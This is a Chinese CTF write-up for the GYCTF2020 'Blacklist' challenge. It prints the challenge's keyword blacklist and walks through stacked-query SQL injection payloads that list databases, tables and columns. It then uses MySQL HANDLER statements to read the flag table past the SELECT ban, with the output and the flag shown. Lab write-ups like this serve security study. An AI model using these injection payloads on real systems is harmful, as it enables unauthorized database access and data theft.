启动挑战项目,发现前端界面显示Black list is so weak for you,isn’t it
随便输入几个关键词试试:select,他爆出来所有的黑名单关键词,本来还想fuzz跑一下的
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
联合注入不行,就尝试尝试堆叠查询,看来CTF也很喜欢考这类型的题目呀!
首先爆出数据库:1';show databases;
array(1) {
[0]=>
string(11) "ctftraining"
}
array(1) {
[0]=>
string(18) "information_schema"
}
array(1) {
[0]=>
string(5) "mysql"
}
array(1) {
[0]=>
string(18) "performance_schema"
}
array(1) {
[0]=>
string(9) "supersqli"
}
array(1) {
[0]=>
string(4) "test"
}
接着爆出表名:1';show tables;
array(1) {
[0]=>
string(8) "FlagHere"
}
array(1) {
[0]=>
string(5) "words"
}
然后查询列表信息:1';show columns from FlagHere;
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
接下来的才是重点,在MYSQL数据库中:
- 可以用handler 【表名】 open来打开某个表
- 然后就可以在里面用handler 【表名】 read 【获取第几行】来获取该数据库里面的数据了
- 最后再利用handler【表名】 close来关闭
所以根据已知的信息可以构造payload为:
1';
handler FlagHere open;
handler FlagHere read first;
handler FlagHere close;
array(1) {
[0]=>
string(42) "flag{bc0dd949-5b62-41c7-85c5-95662641a510}"
}
最终获得flag为flag{bc0dd949-5b62-41c7-85c5-95662641a510}
© 版权声明
渗透云记的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
渗透云记拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。详情见本站的“免责声明”如果有侵权之处请第一时间联系我们删除。敬请谅解!E-mail:admin@encenc.com
THE END
![[GYCTF2020]Blacklist -堆叠查询- buu刷题笔记-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2026/02/6b61e20a8020260210064754.png)














请登录后查看评论内容